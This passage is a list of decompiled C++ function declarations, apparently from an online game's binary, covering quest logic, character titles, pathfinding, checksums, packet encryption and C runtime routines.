CGdp::GdpClose(CGdp *this); int __thiscall CGdp::Open(CGdp *this, unsigned int GdpFileNo); int __thiscall CGdp::Open(CGdp *this, const char *lpFileName); void __thiscall CGdp::_CGdp(CGdp *this); unsigned int __thiscall CGdp::GdpGetEmptyChunk(CGdp *this); void *__thiscall CGdp::CreateFileA(CGdp *this, const char *lpFileName, unsigned int dwDesiredAccess, unsigned int dwShareMode, _SECURITY_ATTRIBUTES *lpSecurityAttributes, unsigned int dwCreationDisposition, unsigned int dwFlagsAndAttributes, void *hTemplateFile); void __thiscall CSocket_Acceptor_Process::CSocket_Acceptor_Process(CSocket_Acceptor_Process *this); void __thiscall CDataReader::CDataReader(CDataReader *this); void __thiscall CDataReader::ClearBF(CDataReader *this); void __cdecl CDataReader::Encription(CDataReader *this, char *pBF, unsigned int nSize); void *__thiscall CDataReader::GetRecord(CDataReader *this, unsigned int RecordNo); void __thiscall CDataReader::_CDataReader(CDataReader *this); int __thiscall CDataReader::Read(CDataReader *this, const char *pFN); int __thiscall CDataReader::Read(CDataReader *this, const char *pFN, unsigned int nVersionKey, unsigned int nStructSize); bool __thiscall AreaInfoData::AE_Circle::IntersectTest(AreaInfoData::AE_Circle *this, float fX, float fY); bool __thiscall AreaInfoData::AE_Square::IntersectTest(AreaInfoData::AE_Square *this, float fX, float fY); void __thiscall AreaInfoData::AreaInfoData(AreaInfoData *this); AreaInfoData::IAreaData *__thiscall AreaInfoData::GetData(AreaInfoData *this, Name8 *Name); void __thiscall AreaInfoData::RemoveAll(AreaInfoData *this); void __thiscall AreaInfoData::_AreaInfoData(AreaInfoData *this); bool __thiscall AreaInfoData::Load(AreaInfoData *this, const char *szFileName); void *__thiscall AreaInfoData::_vector_deleting_destructor_(AreaInfoData *this, unsigned int); CHARACTER_TITLE_DATA *__thiscall CCharacterTitleData::GetGroupData(CCharacterTitleData *this, char Type); const char *__thiscall CCharacterTitleData::GetTitleString(CCharacterTitleData *this, char Type, char ElementNo); unsigned int __thiscall CCharacterTitleData::GetTitleValue(CCharacterTitleData *this, char Type, char ElementNo); unsigned int __thiscall CCharacterTitleData::GetTitleFame(CCharacterTitleData *this, char Type, char ElementNo); CT_TITLE *__thiscall CCharacterTitle::GetGroupTitle(CCharacterTitle *this, char Type); CT_ELEMENT_VALUE __thiscall CCharacterTitle::GetTitleStatus(CCharacterTitle *this, char Type, char ElementNo); int __thiscall CCharacterTitle::IsUsableTitle(CCharacterTitle *this, char Type, char ElementNo, unsigned __int16 MobID); // int __stdcall DllMain(int, int, int); weak int __thiscall CCharacterTitle::AddView(CCharacterTitle *this, char Type, char ElementNo); int __thiscall CCharacterTitle::SetCurrentTitle(CCharacterTitle *this, char Type, char ElementNo, unsigned __int16 MobID, const char *pSpecialTitle); void __thiscall CCharacterTitle::Clear(CCharacterTitle *this); unsigned int __thiscall CCharacterTitle::GetMyTitleCount(CCharacterTitle *this); int __thiscall CCharacterTitle::SetTitleStatus(CCharacterTitle *this, char Type, char ElementNo, CT_ELEMENT_VALUE ElementValue); void __thiscall CCharacterTitle::CCharacterTitle(CCharacterTitle *this, CCharacterTitleData *pCharacterTitleData); void __thiscall CQuest::_CQuest(CQuest *this); int __thiscall CQuest::InitQuestBF(CQuest *this, int NumOfQuest); void __thiscall CQuest::ClearQuest(CQuest *this); PLAYER_QUEST_INFO *__thiscall CQuest::GetQuestInfo(CQuest *this, unsigned __int16 nID); PLAYER_QUEST_INFO *__thiscall CQuest::GetQuestInfoByIndex(CQuest *this, int nIndex); void __thiscall CQuest::SetQuestInfoClearRepeat(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo); void __thiscall CQuest::SetQuestClear(CQuest *this, unsigned __int16 nID); int __thiscall CQuest::SetQuestAccept(CQuest *this, unsigned __int16 nID); int __thiscall CQuest::SetQuestCancel(CQuest *this, unsigned __int16 nID); int __thiscall CQuest::SetQuestProgress(CQuest *this, unsigned __int16 nID, char ProgressStep); int __thiscall CQuest::SetQuestFailed(CQuest *this, unsigned __int16 nID); int __thiscall CQuest::SetQuestDone(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo); int __thiscall CQuest::SetQuestAbort(CQuest *this, unsigned __int16 nID); int __thiscall CQuest::Recv_NC_CHAR_QUEST_DOING_CMD_ACK(CQuest *this, PROTO_NC_CHAR_QUEST_DOING_CMD *pQuestPlayerDoingData); int __thiscall CQuest::Recv_NC_CHAR_QUEST_DONE_CMD_ACK(CQuest *this, PROTO_NC_CHAR_QUEST_DONE_CMD *pQuestPlayerDoneData); int __thiscall CQuest::QuestPlayer_LevelChange(CQuest *this, char nPlayerLevel); int __thiscall CQuest::IsQuestArea(CQuest *this, unsigned int CurrentX, unsigned int CurrentY, unsigned int QuestX, unsigned int QuestY, unsigned int QuestRange); int __thiscall CQuest::GetNumOfDoingQuest(CQuest *this); int __thiscall CQuest::IsQuestNPCMob(CQuest *this, QUEST_DATA *lpQuestData, unsigned __int16 nNPCID); int __thiscall CQuest::IsConversationNPCMob(CQuest *this, QUEST_DATA *lpQuestData, unsigned __int16 nNPCID); unsigned __int16 __thiscall CQuest::GetRewardNPC(CQuest *this, QUEST_DATA *lpQuestData); int __thiscall CQuest::IsSoonableQuest(CQuest *this, QUEST_DATA *lpQuestData); int __thiscall CQuest::IsDoingableQuest(CQuest *this, QUEST_DATA *lpQuestData); int __thiscall CQuest::IsDoingableQuest(CQuest *this, unsigned __int16 hQuestID); int __thiscall CQuest::IsRewardAbleQuest(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo); int __thiscall CQuest::IsRewardAbleQuest(CQuest *this, unsigned __int16 hQuestID); void __thiscall CQuest::CQuest(CQuest *this, CQuestData *pQuestData); int __thiscall CQuest::SetQuestDone(CQuest *this, unsigned __int16 nID); PLAYER_QUEST_STATUS __thiscall CQuest::GetNewQuestStatus(CQuest *this, QUEST_DATA *lpQuestData); PLAYER_QUEST_STATUS __thiscall CQuest::GetNewQuestStatus(CQuest *this, unsigned __int16 nID); int __thiscall CQuest::IsDoingQuest(CQuest *this, unsigned __int16 hQuestID); PLAYER_QUEST_STATUS __thiscall CQuest::DoingQuestUpdateStatus(CQuest *this, int nIndex); int __thiscall CQuest::GetQuestStatusWithNPC(CQuest *this, CQuest::NPC_QUEST_STATUS *kQuestStatus, QUEST_DATA *lpQuestData); int __thiscall CQuest::QuestPlayer_NPCMobKill(CQuest *this, unsigned __int16 nMobID); int __thiscall CQuest::QuestPlayer_TakeItem(CQuest *this, unsigned __int16 nItemID, unsigned __int16 nCurrentLot); int __thiscall CQuest::QuestPlayer_DestroyItem(CQuest *this, unsigned __int16 nItemID, unsigned __int16 nCurrentLot); int __thiscall CQuest::QuestPlayer_CheckLocation(CQuest *this); int __thiscall CQuest::QuestPlayer_ScenarioDone(CQuest *this, unsigned __int16 nScenarioID); int __thiscall CQuest::QuestPlayer_RaceChange(CQuest *this, char nRace); int __thiscall CQuest::QuestPlayer_ClassChange(CQuest *this, char nClass); int __thiscall CQuest::QuestPlayer_TimeProcess(CQuest *this); void __thiscall CQuest::GetQuestStatusWithNPC(CQuest *this, CQuest::NPC_QUEST_STATUS *kQuestStatus); char *__thiscall PacketEncrypt::pe_FromClientToServer(PacketEncrypt *this, char *buf, int len); char *__thiscall PacketEncrypt::pe_FromServerToClient(PacketEncrypt *this, char *buf, int len); int __thiscall CShnDataFileCheckSum::__unnamed::__unnamed(int this); void __thiscall CShnDataFileCheckSum::_CShnDataFileCheckSum(CShnDataFileCheckSum *this); char __thiscall CShnDataFileCheckSum::InitDataFileCheckSum(CShnDataFileCheckSum *this, const char *FileName, Name8 nCheckSum); int __thiscall CShnDataFileCheckSum::DataFileCheck(CShnDataFileCheckSum *this, Name8 *Data); Name8 *__thiscall CShnDataFileCheckSum::GetDataFileCheckSum(CShnDataFileCheckSum *this, SHN_DATA_FILE_INDEX Index); char __thiscall CShnDataFileCheckSum::isFileLoadAllComplete(CShnDataFileCheckSum *this); char *__thiscall CShnDataFileCheckSum::NotLoadFileName(CShnDataFileCheckSum *this); char *__thiscall CShnDataFileCheckSum::GetDataFileName(CShnDataFileCheckSum *this, SHN_DATA_FILE_INDEX Index); void __thiscall CShnDataFileCheckSum::CShnDataFileCheckSum(CShnDataFileCheckSum *this); void __thiscall CChargedItem::CChargedItem(CChargedItem *this); void __thiscall CChargedItem::Clear(CChargedItem *this); int __thiscall CChargedItem::Add(CChargedItem *this, PROTO_CHARGED_ITEM_INFO *pInfo); PROTO_CHARGED_ITEM_INFO *__thiscall CChargedItem::Find(CChargedItem *this, unsigned int ItemOrderNo); void __thiscall CFindWay::SetLoadedData(CFindWay *this, unsigned int uiRealOneSideDataSize, unsigned int uiOneSideBlockCnt, char *pBlockInfoByte); void __thiscall CFindWay::_CFindWay(CFindWay *this); int __thiscall CFindWay::LineIntersect(CFindWay *this); void __thiscall CFindWay::LenMapInit(CFindWay *this, int nSizeX, int nSizeY); void __thiscall CFindWay::LenMapClear(CFindWay *this); int __thiscall CFindWay::LenMapSet(CFindWay *this, int x, int y, unsigned __int16 value); int __thiscall CFindWay::SearchMoveable(CFindWay *this); void __thiscall CFindWay::FindWay(CFindWay *this); void __thiscall CFindWay::Init(CFindWay *this); void __thiscall CFindWay::CFindWay(CFindWay *this); unsigned int __cdecl ShineObjectHandleUnion::sohu_Initialize(); char __thiscall ShineObjectHandleUnion::sohu_HandleSplit(ShineObjectHandleUnion *this, unsigned __int16 *hnd); bool __thiscall DiceTaiSai::ConvertDice(DiceTaiSai *this, char *pSource, int *pTarget); bool __thiscall DiceTaiSai::ConvertDice(DiceTaiSai *this, int nSource, char *pTarget); bool __thiscall DiceTaiSai::get_PrizeWinningBet(DiceTaiSai *this, int nDiceVariety, DiceTaiSaiPrizeWinning *pPrizeWinningBet); void __thiscall DiceTaiSaiDividind::DiceTaiSaiDividind(DiceTaiSaiDividind *this); bool __thiscall DiceTaiSaiDividind::isInitFinishe(DiceTaiSaiDividind *this); bool __thiscall DiceTaiSaiDividind::Init(DiceTaiSaiDividind *this, DividendRate nDividind, unsigned __int16 nDividindRate); bool __thiscall DiceTaiSaiDividind::is_CanBettingMoney(DiceTaiSaiDividind *this, DICE_TAISAI_BETTING nBet, unsigned int nMaxBetMoney, unsigned int nBetMoney); unsigned int __thiscall DiceTaiSaiDividind::get_DividindMoney(DiceTaiSaiDividind *this, DICE_TAISAI_BETTING nBet, int nSingleNum, unsigned int nBetMoney); unsigned __int16 __thiscall DiceTaiSaiDividind::get_DividendRate(DiceTaiSaiDividind *this, DICE_TAISAI_BETTING nBet, int nSingleNum); void __thiscall DiceTaiSai::Init(DiceTaiSai *this, int NoSumTriple); void __thiscall CWeaponTitle::CWeaponTitle(CWeaponTitle *this); int __thiscall CWeaponTitle::Read(CWeaponTitle *this, const char *pFN, unsigned int nVersionKey, unsigned int nStructSize); unsigned int __thiscall CWeaponTitle::GetLevel(CWeaponTitle *this, unsigned __int16 MobID, unsigned int MobKillCount); WEAPON_TITLE_DATA *__thiscall CWeaponTitle::GetLevelData(CWeaponTitle *this, unsigned __int16 MobID, unsigned int MobKillCount, unsigned int *pLevel); void __thiscall CWeaponTitle::_CWeaponTitle(CWeaponTitle *this); bool __cdecl StrUtil::ConvertToNormalName(char *buf, const char *deletedCharName); QUEST_DATA *__thiscall CQuestData::GetQuestDataByIndex(CQuestData *this, unsigned int Index); void __thiscall std::list_std::allocator>>::clear(std::list,std::allocator > > *this); std::_List_nod,std::allocator > >::_Node *__thiscall std::list_std::allocator>>::_Buynode(std::list,std::allocator > > *this); std::_List_nod,std::allocator > >::_Node *__thiscall std::list_std::allocator>>::_Buynode(std::list,std::allocator > > *this, std::_List_nod,std::allocator > >::_Node *_Next, std::_List_nod,std::allocator > >::_Node *_Prev, std::pair *_Val); void __cdecl std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>(std::list,std::allocator > >::iterator *_First, unsigned int _Count, std::list,std::allocator > >::iterator *_Val, std::allocator,std::allocator > >::iterator> *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall std::list_std::allocator>>::_list_std::allocator>>(std::list,std::allocator > > *this); std::list,std::allocator > >::iterator *__thiscall stdext::_Hash>_std::allocator>_0>>::lower_bound(stdext::_Hash >,std::allocator >,0> > *this, std::list,std::allocator > >::iterator *result, const unsigned __int16 *_Keyval); std::list,std::allocator > >::iterator *__thiscall std::vector>::_Ufill(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Ptr, unsigned int _Count, std::list,std::allocator > >::iterator *_Val); int std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::erase(...); QUEST_DATA *__thiscall CQuestData::GetQuestData(CQuestData *this, unsigned __int16 QuestID); void __thiscall std::list_std::allocator>>::_Incsize(std::list,std::allocator > > *this, unsigned int _Count); void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Xlen(std::vector,std::allocator > >::iterator,std::allocator,std::allocator_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Insert_n(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Val); void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Construct_n(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Val); // void __usercall _L83459(int a1); void __thiscall stdext::hash_multimap>_std::allocator>>::_hash_multimap>_std::allocator>>(stdext::hash_multimap >,std::allocator > > *this); void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::resize(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator _Val); void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Assign_n(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Val); void __thiscall stdext::_Hash>_std::allocator>_1>>::_Hash>_std::allocator>_1>>(stdext::_Hash >,std::allocator >,1> > *this, stdext::hash_compare > *_Parg, std::allocator > *_Al); std::pair,std::allocator > >::iterator,bool> *__thiscall stdext::_Hash>_std::allocator>_1>>::insert(stdext::_Hash >,std::allocator >,1> > *this, std::pair,std::allocator > >::iterator,bool> *result, std::pair *_Val); std::pair,std::allocator > >::iterator,bool> *__thiscall stdext::_Hash>_std::allocator>_0>>::insert(stdext::_Hash >,std::allocator >,0> > *this, std::pair,std::allocator > >::iterator,bool> *result, std::pair *_Val); void __thiscall CQuestData::CQuestData(CQuestData *this, CDataReader *pQuestDialog); void __thiscall CQuestData::ClearBF(CQuestData *this); void __thiscall CQuestData::QuestData_HashDataIn(CQuestData *this); void __thiscall CQuestData::_CQuestData(CQuestData *this); int __thiscall CQuestData::ReadModeRead(CQuestData *this, const char *pFN); int __thiscall CQuestData::ReadModeEdit(CQuestData *this, const char *pFN); int __thiscall CQuestData::Read(CQuestData *this, const char *pFN, int bReadonly); void __thiscall CQuestParserScript::CQuestParserScript(CQuestParserScript *this); int __thiscall CQuestParserScript::IsDigitStr(CQuestParserScript *this, const char *pStr); const char *__thiscall CQuestParserScript::MarkGet(CQuestParserScript *this, const char *pMarkName); int __thiscall CQuestParserScript::MarkGo(CQuestParserScript *this, const char *pMarkName); STRUCT_QSC *__thiscall CQuestParserScript::ParserNext(CQuestParserScript *this); void __thiscall CQuestParserScript::ParserClose(CQuestParserScript *this); int __thiscall CQuestParserScript::GetScriptVariableValue(CQuestParserScript *this, unsigned int *pValue, unsigned __int16 nQuestID, QUEST_SCRIPT_VARIABLE VarID, unsigned int Value); int __thiscall CQuestParserScript::CommandRun(CQuestParserScript *this, STRUCT_QSC *pCmd); void __thiscall CQuestParserScript::_CQuestParserScript(CQuestParserScript *this); int __thiscall CQuestParserScript::MarkAdd(CQuestParserScript *this, const char *pMarkName, const char *pMarkPoint); int __thiscall CQuestParserScript::ParserStart(CQuestParserScript *this, unsigned __int16 nQuestID, const char *pScript); void __thiscall CMD5Checksum::_CMD5Checksum(CMD5Checksum *this); void *__thiscall CMD5Checksum::_vector_deleting_destructor_(CMD5Checksum *this, unsigned int); void __thiscall CMD5Checksum::Transform(CMD5Checksum *this, char *Block); void __thiscall CMD5Checksum::Update(CMD5Checksum *this, char *Input, unsigned int nInputLen); std::basic_string,std::allocator > *__thiscall CMD5Checksum::Final(CMD5Checksum *this, std::basic_string,std::allocator > *result); std::basic_string,std::allocator > *__cdecl CMD5Checksum::GetMD5(std::basic_string,std::allocator > *result, char *pBuf, unsigned int nLength); void *__cdecl operator new__(unsigned int count); // void *__cdecl operator new(unsigned int size); void __thiscall std::_String_base::_Xran(std::_String_base *this); void __thiscall std::_String_base::_Xlen(std::_String_base *this); int __cdecl _Tolower_lk(int c, _Ctypevec *ploc); // _Ctypevec *__cdecl _Getctype(_Ctypevec *result); // int __cdecl _Tolower(int c, _Ctypevec *ploc); // _Cvtvec __cdecl _Getcvt(); // void __thiscall std::_Init_locks::_Init_locks(std::_Init_locks *this); // void __thiscall std::_Init_locks::__Init_locks(std::_Init_locks *this); // void __thiscall std::_Lockit::_Lockit(std::_Lockit *this, int kind); // void __thiscall std::_Lockit::__Lockit(std::_Lockit *this); // void __cdecl tidy_global(); idb void __cdecl _Setgloballocale(void *ptr); // std::locale::facet *__thiscall std::locale::_Getfacet(std::locale *this, unsigned int id); // void __thiscall std::locale::facet::_Register(std::locale::facet *this); // void __thiscall std::_Locinfo::__Locinfo(std::_Locinfo *this); // void __thiscall std::_Locinfo::_Locinfo(std::_Locinfo *this, const char *locname); // void __thiscall std::locale::locale(std::locale *this); // void __thiscall std::ios_base::_ios_base(std::ios_base *this); void __thiscall std::runtime_error::_runtime_error(std::runtime_error *this); void *__thiscall std::runtime_error::_vector_deleting_destructor_(std::runtime_error *this, unsigned int); void __thiscall std::runtime_error::runtime_error(std::runtime_error *this, std::basic_string,std::allocator > *_Message); void *__thiscall std::ios_base::failure::_scalar_deleting_destructor_(std::ios_base::failure *this, unsigned int); void __thiscall std::ios_base::failure::_failure(std::ios_base::failure *this); // void __thiscall std::ios_base::clear(std::ios_base *this, int state, bool reraise); void __thiscall std::runtime_error::runtime_error(std::runtime_error *this, std::runtime_error *__that); void __thiscall std::ios_base::failure::failure(std::ios_base::failure *this, std::ios_base::failure *__that); // void __thiscall std::ios_base::_Init(std::ios_base *this); // void __thiscall std::_Mutex::_Mutex(std::_Mutex *this); // void __thiscall std::_Mutex::__Mutex(std::_Mutex *this); void __thiscall std::_Mutex::_Lock(std::_Mutex *this); void __thiscall std::_Mutex::_Unlock(std::_Mutex *this); // int __cdecl _Toupper(int c, _Ctypevec *ploc); bool __cdecl std::uncaught_exception(); void __thiscall std::bad_alloc::_bad_alloc(std::bad_alloc *this); void *__thiscall std::bad_alloc::_vector_deleting_destructor_(std::bad_alloc *this, unsigned int); void __thiscall std::bad_alloc::bad_alloc(std::bad_alloc *this, std::bad_alloc *__that); void __cdecl _Mtxdst(_RTL_CRITICAL_SECTION *_Mtx); void __cdecl _Mtxlock(_RTL_CRITICAL_SECTION *_Mtx); void __cdecl _Mtxunlock(_RTL_CRITICAL_SECTION *_Mtx); void __cdecl _Atexit(void (__cdecl *pf)()); // void __thiscall _Init_atexit::__Init_atexit(_Init_atexit *this); // void __cdecl qsort(void *base, unsigned int num, unsigned int width, int (__cdecl *comp)(const void *, const void *)); void __cdecl operator delete__(void *p); // void __stdcall _eh_vector_destructor_iterator_(void *ptr, unsigned int size, int count, void (__thiscall *pDtor)(void *)); // void __fastcall __security_check_cookie(unsigned int cookie); // void __stdcall _eh_vector_constructor_iterator_(void *ptr, unsigned int size, int count, void (__thiscall *pCtor)(void *), void (__thiscall *pDtor)(void *)); // int __cdecl atexit(void (__cdecl *func)()); // int __cdecl sprintf(char *string, const char *format); // int __cdecl fclose(_iobuf *stream); // _iobuf *__cdecl fopen(const char *file, const char *mode); void __cdecl operator delete(void *p); // void __cdecl memmove(char *dst, char *src, unsigned int count); // long double __cdecl difftime(int b, int a); // int __cdecl mktime(tm *tb); // void __stdcall _CxxThrowException(void *pExceptionObject, _s__ThrowInfo *pThrowInfo); void __thiscall exception::exception(exception *this); // void __thiscall exception::exception(exception *this, const char *const *what); // void __thiscall exception::exception(exception *this, exception *that); void __thiscall exception::_exception(exception *this); void __thiscall bad_cast::bad_cast(bad_cast *this, const char *_Message); void __thiscall bad_cast::bad_cast(bad_cast *this, bad_cast *that); void __thiscall bad_cast::_bad_cast(bad_cast *this); void *__thiscall exception::_vector_deleting_destructor_(exception *this, unsigned int); void *__thiscall bad_cast::_vector_deleting_destructor_(bad_cast *this, unsigned int); // void __thiscall type_info::_type_info(type_info *this); void *__thiscall type_info::_scalar_deleting_destructor_(type_info *this, unsigned int); // char *__cdecl strncpy(char *, const char *, size_t); // void *__cdecl bsearch(const void *key, const void *base, unsigned int num, unsigned int width, int (__cdecl *compare)(const void *, const void *)); // tm *__cdecl localtime(const int *ptime); // int __cdecl fprintf(_iobuf *str, const char *format); // int __cdecl fputs(const char *string, _iobuf *stream); // int __cdecl flsall(int flushflag); // int __cdecl fflush(_iobuf *stream); int __cdecl _flushall(); // int __cdecl fputc(int ch, _iobuf *str); int __cdecl atoi(const char *nptr); // int __cdecl sscanf(const char *string, const char *format); // unsigned int __cdecl _fwrite_lk(const void *buffer, unsigned int size, unsigned int num, _iobuf *stream); unsigned int __cdecl fwrite(const void *buffer, unsigned int size, unsigned int count, _iobuf *stream); // unsigned int __cdecl _fread_lk(void *buffer, unsigned int size, unsigned int num, _iobuf *stream); unsigned int __cdecl fread(void *buffer, unsigned int size, unsigned int count, _iobuf *stream); // void __cdecl exit(int code); // int __cdecl time(int *timeptr); // void __cdecl srand(unsigned int seed); // int __cdecl rand(); // void __cdecl strncmp(char *first, char *last, unsigned int count); // int __cdecl _findclose(int hFile); // int __cdecl _findfirst(const char *szWild, _finddata_t *pfd); // int __cdecl _findnext(int hFile, _finddata_t *pfd); // int __cdecl _except_handler3(int, PVOID TargetFrame, int); idb // void __cdecl free(void *pBlock); // int __cdecl fgetc(_iobuf *stream); lconv *__cdecl localeconv(); // void *__cdecl memchr(const void *, int, size_t); // void __cdecl strcspn(char *string, char *control); // int __cdecl _stricmp(const char *dst, const char *src); // void *__cdecl malloc(unsigned int size); // int __cdecl puts(const char *string); // tm *__cdecl _localtime64(const __int64 *ptime); // __int64 __usercall make__time64_t(tm *tb, int ultflag); __int64 __cdecl _mktime64(tm *tb); // char *__cdecl _mbstok(char *string, const char *sepset); // int __cdecl fscanf(_iobuf *stream, const char *format); // int __cdecl _chdir(const char *path); // __int64 __cdecl _time64(__int64 *timeptr); // int __cdecl _mbscmp(const char *s1, const char *s2); // char *__cdecl fgets(char *string, int count, _iobuf *str); // char *__cdecl _mbsrchr(const char *str, unsigned int c); // int __cdecl _vsnprintf(char *string, unsigned int count, const char *format, char *ap); // int __cdecl fseek(_iobuf *stream, int offset, int whence); // void __cdecl _splitpath(const char *path, char *drive, char *dir, char *fname, char *ext); // char *__cdecl _getenv_lk(const char *option); char *__cdecl getenv(const char *option); // void __cdecl _endthreadex(unsigned int retcode); // unsigned int __cdecl _beginthreadex(void *security, unsigned int stacksize, unsigned int (__stdcall *initialcode)(void *), void *argument, unsigned int createflag, unsigned int *thrdaddr); // int __cdecl isalpha(int c); // int __cdecl isupper(int c); // int __cdecl _mbsicmp(const char *s1, const char *s2); // int __cdecl _mbsnbcmp(const char *s1, const char *s2, unsigned int n); // long double __cdecl atof(const char *nptr); // char *__cdecl _fullpath(char *UserBuf, const char *path, unsigned int maxlen); // char *__cdecl _mbsupr(char *string); // void __cdecl strrchr(char *string, char chr); // char *__cdecl _mbspbrk(const char *string, const char *charset); // char *__cdecl _mbsnbcpy(char *dst, const char *src, unsigned int cnt); // int __cdecl ftell(_iobuf *stream); // char *__cdecl strtok(char *string, const char *control); // int __cdecl tolower(int c); // int __cdecl _ismbcdigit(unsigned int c); // int __cdecl __crtLCMapStringA(unsigned int Locale, unsigned int dwMapFlags, const char *lpSrcStr, int cchSrc, char *lpDestStr, int cchDest, int code_page, int bError); const unsigned __int16 *__cdecl __pctype_func(); // unsigned int __cdecl ___lc_codepage_func(); // unsigned int *__cdecl ___lc_handle_func(); // void __cdecl _unlock(int locknum); // void __cdecl _lock(int locknum); int __cdecl ___setlc_active_func(); int *__cdecl ___unguarded_readlc_active_add_func(); int __cdecl __init_collate(); // void __cdecl abort(); unsigned int __stdcall __crtTlsAlloc(void (__stdcall *lpCallBack)(void *)); // void __cdecl terminate(); idb void __cdecl _inconsistency(); void __cdecl unk_57231C(); // weak // void __cdecl _lock_file(void *pf); // void __cdecl _unlock_file(void *pf); // int __stdcall __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *pPtrs); int __cdecl __CxxSetUnhandledExceptionFilter(); LPTOP_LEVEL_EXCEPTION_FILTER __cdecl __CxxRestoreUnhandledExceptionFilter(); void __cdecl _RTC_Initialize(); void __cdecl _RTC_Terminate(); // idb // int __usercall ___00001(__int16 a1, int a2, double a3, long double a4); // int _ffexpm1(void); weak // double __usercall isintTOS(double result); // int _rttospop(); weak // int _rtindfpop(void); weak // INTRNCVT_STATUS __cdecl _ld12cvt(_LDBL12 *pld12, void *d, FpFormatDescriptor *format); INTRNCVT_STATUS __cdecl _ld12tod(_LDBL12 *pld12, DOUBLE *d); INTRNCVT_STATUS __cdecl _ld12tof(_LDBL12 *pld12, FLOAT *f); void __cdecl _atodbl(DOUBLE *d, char *str); void __cdecl _atoflt(FLOAT *f, char *str); // int __usercall _safe_fdivr(double); weak // unsigned int __cdecl __strgtold12(_LDBL12 *pld12, const char **p_end_ptr, const char *str, int mult12, int scale, int decpt, int implicit_E); // char *__stdcall inet_ntoa(struct in_addr in); // int __stdcall __WSAFDIsSet(SOCKET fd, fd_set *); // int __stdcall WSACleanup(); // int __stdcall WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData); // struct hostent *__stdcall gethostbyname(const char *name); // int __cdecl filelength(int filedes); // int __cdecl fileno(_iobuf *stream); // void __usercall _L161882(int a1); // void __usercall _L169370(int a1); int sub_57F6BC(); // weak // void __usercall _L168212(int a1); // void __usercall _L168213(int a1); // void __usercall _L168214(int a1); // void __usercall _L168353(int a1); // void __usercall _L168354(int a1); // void __usercall _L168355(int a1); // void __usercall _L168356(int a1); // void __usercall _L168357(int a1); // void __usercall _L168358(int a1); // void __usercall _L168359(int a1); // void __usercall _L168360(int a1); // void __usercall _L168361(int a1); // void __usercall _L168362(int a1); // void __usercall _L168363(int a1); // void __usercall _L168364(int a1); // void __usercall _L168365(int a1); // void __usercall _L168366(int a1); // void __usercall _L168367(int a1); // void __usercall _L168368(int a1); // void __usercall _L168369(int a1); // void __usercall _L168370(int a1); // void __usercall _L168371(int a1); // void __usercall _L168372(int a1); // void __usercall _L168373(int a1); // void __usercall _L168374(int a1); // void __usercall _L168375(int a1); // void __usercall _L168376(int a1); // void __usercall _L168377(int a1); // void __usercall _L168378(int a1); // void __usercall _L168379(int a1); // void __usercall _L168380(int a1); // void __usercall _L168381(int a1); // void __usercall _L168382(int a1); // void __usercall _L168383(int a1); // void __usercall _L168384(int a1); // void __usercall _L168385(int a1); // void __usercall _L168386(int a1); // void __usercall _L168387(int a1); // void __usercall _L168388(int a1); // void __usercall _L168389(int a1); // void __usercall _L168390(int a1); // void __usercall _L168391(int a1); // void __usercall _L168392(int a1); // void __usercall _L168393(int a1); // void __usercall _L168394(int a1); // void __usercall _L168395(int a1); // void __usercall _L168396(int a1); // void __usercall _L168397(int a1); // void __usercall _L168398(int a1); // void __usercall _L168399(int a1); // void __usercall _L168400(int a1); // void __usercall _L168401(int a1); // void __usercall _L168402(int a1); // void __usercall _L168403(int a1); // void __usercall _L168404(int a1); // void __usercall _L168405(int a1); // void __usercall _L168406(int a1); // void __usercall _L168407(int a1); // void __usercall _L168408(int a1); // void __usercall _L168409(int a1); // void __usercall _L168410(int a1); // void __usercall _L168411(int a1); // void __usercall _L168412(int a1); // void __usercall _L168413(int a1); // void __usercall _L168414(int a1); // void __usercall _L168415(int a1); // void __usercall _L168416(int a1); // void __usercall _L168417(int a1); // void __usercall _L168418(int a1); // void __usercall _L168419(int a1); // void __usercall _L168420(int a1); // void __usercall _L168421(int a1); // void __usercall _L168422(int a1); // void __usercall _L168423(int a1); // void __usercall _L168424(int a1); // void __usercall _L168425(int a1); // void __usercall _L168426(int a1); // void __usercall _L168427(int a1); // void __usercall _L169551(int a1); // void __usercall _L169552(int a1); // void __usercall _L170243(int a1); // void __usercall _L170361(int a1); // void __usercall _L170362(int a1); // int _ehhandler__ase_AttachObject_AbnormalStateReinforcedMove_AbnormalStateContainer__UAEXPAVAbstateElementInObject_2_PAVShineObject_ShineObjectClass___Z(); weak // void __usercall _L170542(int a1); // void __usercall _L173299(int a1); // void __usercall _L170872(int a1); // void __usercall _L170907(int a1); // void __usercall _L171157(int a1); // void __usercall _L171159(int a1); // void __usercall _L171210(int a1); // void __usercall _L171211(int a1); // void __usercall _L171212(int a1); // void __usercall _L171502(int a1); // void __usercall _L171503(int a1); // void __usercall _L171723(int a1); // void __usercall _L171724(int a1); // void __usercall _L172147(int a1); // void __usercall _L172161(int a1); // void __usercall _L172380(int a1); // void __usercall _L172381(int a1); // void __usercall _L172382(int a1); // void __usercall _L172383(int a1); // void __usercall _L172813(int a1); // void __usercall _L172814(int a1); // void __usercall _L172815(int a1); // void __usercall _L172900(int a1); // void __usercall _L172926(int a1); // void __usercall _L172962(int a1); // void __usercall _L173343(int a1); // void __usercall _L173344(int a1); // void __usercall _L173461(int a1); // void __usercall _L173462(int a1); // void __usercall _L173587(int 